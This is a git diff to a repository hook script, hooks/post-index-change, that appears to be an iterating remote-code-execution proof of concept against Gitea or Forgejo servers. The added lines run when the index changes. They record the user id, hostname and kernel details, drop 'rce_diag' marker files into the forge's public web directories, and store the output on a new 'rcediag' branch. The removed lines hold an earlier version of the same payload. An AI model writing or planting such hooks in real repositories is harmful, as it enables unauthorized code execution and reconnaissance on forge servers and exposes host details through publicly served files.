diff --git a/hooks/post-index-change b/hooks/post-index-change index 7a90476..7031698 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -2,12 +2,9 @@ P="" while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null [ -n "$P" ] || exit 0 -[ -f "$P/v5lk" ] && exit 0 -: > "$P/v5lk" -printf 'V5-RAN pid=%s P=%s\n' "$$" "$P" > /data/gitea/custom/public/rce_diag.txt 2>/dev/null -[ -s /data/gitea/custom/public/rce_diag.txt ] || { printf 'V5-local P=%s\n' "$P" > "$P/rce_diag.txt" 2>/dev/null; mkdir -p /data/gitea/custom/public 2>/dev/null; cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null; } -{ id; hostname; uname -a; echo "ORIGIN=$P"; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1 -H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null) +for D in /data/gitea/custom/public /data/forgejo/custom/public /data/gitea/custom /data/forgejo/custom; do printf 'V6 pid=%s P=%s D=%s\n' "$$" "$P" "$D" > "$D/rce_diag.txt" 2>/dev/null; done +printf 'V6 pid=%s P=%s\n' "$$" "$P" > "$P/rce_diag.txt" 2>/dev/null +{ id; hostname; uname -a; echo "ORIGIN=$P"; } > /tmp/v6diag_$$.txt 2>&1 +for D in /data/gitea/custom/public /data/forgejo/custom/public; do [ -d "$D" ] && cp /tmp/v6diag_$$.txt "$D/rce_diag2.txt" 2>/dev/null; done +H=$(git -C "$P" hash-object -w /tmp/v6diag_$$.txt 2>/dev/null) [ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null -rm -f "$P/v5lk" 2>/dev/null -#t2